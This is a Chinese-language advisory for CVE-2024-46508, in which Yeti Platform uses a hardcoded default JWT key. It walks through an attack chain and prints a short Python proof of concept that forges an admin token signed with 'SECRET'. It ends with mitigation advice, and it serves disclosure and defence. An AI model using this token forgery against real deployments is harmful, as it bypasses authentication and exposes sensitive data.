IPBUF安全漏洞报告
English
CVE-2024-46508 CVSS 7.5 高危

CVE-2024-46508 Yeti-Platform 默认JWT密钥漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2024-46508
漏洞类型
硬编码密钥
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
yeti-platform

相关标签

JWT硬编码密钥Yeti-Platform认证绕过

漏洞概述

Yeti Platform是一款开源的威胁情报平台。在2.1.12版本之前,系统存在一个严重的安全配置缺陷。该漏洞是由于应用程序使用了硬编码的默认JWT签名密钥“SECRET”所导致的。如果管理员在部署过程中未将`YETI_AUTH_SECRET_KEY`环境变量修改为强随机值,攻击者即可利用这一已知的默认密钥。攻击者无需任何用户交互或预先认证,便可以伪造有效的管理员身份令牌。成功利用此漏洞可能导致攻击者完全绕过身份验证,获取系统最高权限,进而窃取敏感威胁情报数据或破坏系统完整性。

技术细节

该漏洞的核心原理在于JWT(JSON Web Token)验证机制中的密钥管理不当。JWT通常用于在客户端和服务器之间安全地传递信息,其安全性依赖于只有服务器才知道的签名密钥。在Yeti Platform受影响的版本中,代码逻辑存在缺陷,若未显式配置密钥,则默认使用字符串“SECRET”作为HMAC签名密钥。攻击者通过分析源码或公开信息得知此默认密钥后,可以自行构造包含恶意Payload(如将用户身份设为admin)的JWT数据,并使用“SECRET”进行签名生成合法令牌。当服务器收到带有该伪造令牌的请求时,会使用相同的默认密钥验证签名通过,从而赋予攻击者相应的管理权限。CVSS 3.1评分为7.5,属于高危漏洞,主要影响机密性。

攻击链分析

STEP 1
信息收集
攻击者识别目标系统运行的是Yeti Platform,并确认其版本低于2.1.12。
STEP 2
漏洞探测
攻击者尝试访问公开接口或通过默认配置确认系统是否使用了默认的JWT密钥。
STEP 3
令牌伪造
攻击者使用Python脚本或其他工具,利用默认密钥“SECRET”生成一个伪造的JWT令牌,并在Payload中设置管理员权限。
STEP 4
身份冒用
攻击者将伪造的令牌放入HTTP请求头的Authorization字段中,发送给服务端API。
STEP 5
非法访问
服务端验证令牌签名通过,允许攻击者以管理员身份执行敏感操作或获取数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import jwt import datetime def generate_admin_token(): # The default hardcoded secret key in vulnerable Yeti versions DEFAULT_SECRET = "SECRET" # Construct a payload with admin privileges payload = { "sub": "admin", # Subject (User ID) "role": "admin", # Admin role "iat": datetime.datetime.utcnow(), # Issued at "exp": datetime.datetime.utcnow() + datetime.timedelta(days=1) # Expiration } # Encode the payload using the default secret # HS256 is the typical algorithm for this kind of setup token = jwt.encode(payload, DEFAULT_SECRET, algorithm="HS256") return token if __name__ == "__main__": print("[+] Generating forged JWT token...") forged_token = generate_admin_token() print(f"[+] Forged Token: {forged_token}") print("[+] Use this token in the Authorization header (Bearer <token>)")

影响范围

yeti-platform < 2.1.12

防御指南

临时缓解措施
对于无法立即升级的用户,应立即检查并修改配置文件或环境变量中的`YETI_AUTH_SECRET_KEY`,将其设置为包含大小写字母、数字及特殊符号的复杂字符串,并重启Yeti服务以使配置生效,确保不再使用默认的“SECRET”作为密钥。

参考链接